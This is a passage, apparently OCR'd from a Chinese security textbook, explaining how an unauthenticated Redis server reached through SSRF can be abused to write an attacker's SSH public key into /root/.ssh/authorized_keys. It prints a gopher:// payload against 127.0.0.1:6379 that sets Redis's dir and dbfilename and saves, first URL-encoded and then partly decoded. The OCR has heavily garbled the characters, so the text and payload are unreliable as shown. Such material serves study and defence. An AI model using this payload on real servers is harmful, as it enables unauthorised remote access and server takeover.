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密码认证（-般为空）的情况下,会导致任意用户在可以访问目标服务器的情况下’未经授权访问

Rcdis及读取Redis的数据°因此’此漏洞在没有配置密码的情况下,可以利用SSRF来绕过绑定在
◇ 0

本地的限制,从而实现在外网攻击内网应用的目的°

↑.利用只ed｜s来写ssh密钥

此处利用ssh生成一对公私钥’生成的默认文件为idˉrsapub和idrsa。把i止rsapub上传至服务

器即可°我们利用Redis把目录设置为ssh目录下°

根据网上写密钥有两种协议可以使用,＿种是dict’一种是gopher°测试使用dict协议写不成功,

写人后不能连接,此处使用gopher写密钥°

使用的Payload如下。

g◎pher:／／127.0·0.1:6379／ ★3器0d器0aS3殆0d嗜0己se七菇0d啮0己S1啥0d呛0己1呛Od咕OaS401器0d老0己
哈0己老0己器0assh-rsanAAAB3Nz己C1yc2EnnAADhQRBHAABHQC／Xn7u◎TwU＋RX1gγTBrmZ1NwU2KUB1

Cuxf1T七FwfbZM3wAy／FmZm仁pCf2UvZFb／MfC1土.· b . · .2pynRF0γj》hnjMevpQwjeN3DD3cw／DO4XM
□ □■ 0 ·

JC7KnUG土14p七cxmgTsz0UsαXAα9J2UdwPfm○N9呛0己＄0己器0己培0己咕0d咕0己★4哈0d器0己S6＄0d胀0己c○nf土

g咕Od器0己S3老0d堵0aset殆0d器0aS3器0d咕0ad土r殆0d呛0己S11呛0d毫0己／工◎◎t／·ssh／80d＄0己★4哈0d忿0己＄6
器Od憨0己c○nf土g＄0d00己S3老0d殆0己se七殆0d睹0己S10砧0d啥0己dhf土1en己me啥0d嚣0己S15哈0d堵0己己uth○r1z

edkeys忌0d哈0a★1器0d哈0aS4射0d哈0己s己ve殆0d80己★1＄0d睹0己S4殆0d啮0aqu土亡哈0d老0己

Payload解码如下°

g○pher:／／127°O。0.1:6379／ ★3 《!
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ssh＝rs己AAAAB3Nz己C1y◎2EHnHnDAQHB监AABAQC／Xn7u◎TwURX1gYTBrmZ1NwU2KUB工Cuxf1T仁Fw
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